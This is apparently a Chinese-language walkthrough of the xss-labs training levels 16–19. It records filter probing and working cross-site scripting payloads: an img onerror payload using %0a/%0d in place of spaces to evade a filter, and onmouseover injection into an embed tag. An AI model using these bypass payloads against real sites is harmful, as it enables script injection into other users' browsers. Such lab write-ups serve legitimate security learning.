xss-labs(16-20)
level-16 过滤空格,script,/
尝试和分析
?keyword=<script>alert(1)</script>
把script
过滤了?
双写?keyword=<scrscriptipt>alert(1)</scscriptript>
第一个<sc ript>
为什么不显示呢?
看看前端页面源代码: 
表示一个空格
输入<>script1 2/34
:变成了<> 1 2 34
,由此可看出script
,空格
,/
均变成了 
<script>alert(1)&</script>
,&后面的内容不显示了,猜测&会使后面的内容过滤
接下来要绕过,不能使用script,空格和 /
替换空格
空格可以用%20 %09 %0a %0b %0c %0d %a0 %00
测试看看哪些可以正确显示空格keyword=
1%20
2%09
3%0a
4%0b
5%0c
6%0d
7%a0
8%00
9
由此可看出:
-
%20
和%09
表示空格,但是会被替换为 
-
%0a
和%0d
为空格,且不会替换 -
%0b
,%0c
,%00
没空格 -
%a0
表示特殊字符
因此可以用%0a
和%0d
代表空格
构造语句
不能用script,可以用<img src>
引入一个错误资源,然后用onerror=alert()
触发(onerror
当发生错误时触发事件)
?keyword=<img%0dsrc=1%0donerror=alert(1)>
分析源码
替换空格,script,/,再次替换空格
level-17 embed标签
尝试
地址栏的啊a和b是否和前端源码的a=b有关联呢?
?arg01="><script>&arg02=alert(1)</script>
,传递到了<embed>
但是被转义了
先了解一下<embed>
标签
火狐不支持flash?反正没反应,在edge上十试试,?arg01=a%0aonmouseover&arg02=alert(1)
,触发弹窗
分析源码
将传入的值拼接到embed标签中
level-18 embed标签(同17)
尝试
?arg01=%0Aonmouseover&arg02=alert(1)
,和上一题没什么区别
分析源码
和17没有区别
level-19 反编译SWF文件
这一题着实有点难度
sIFR技术实现原理
基于Flash允许将字体嵌入SWF文件,所以事先将字体加载并生成Flash的SWF文件。然后通过JS控制进行页面文本的二次渲染。实现的方法是加载JS文件,通过JavaScript对Web页面进行搜索,找到设定元素或者设定类名的元素中的所有文本。然后JavaScript将文本重新渲染并在最终浏览页面上输出成为一个小的Flash文件。
简单讲,就是利用sIFR 技术可以将JavaScript代码写到swf文件里面执行
代码分析
使用JPEXS来分析flash的源码:
首先确定Action Scrip语言的版本为Action Script 2.0。
在sIFR中搜索Movie (436) is incompatible with
对比可知%s
就是页面的undefined
太痛苦了,目前还没有头绪,等学精了再看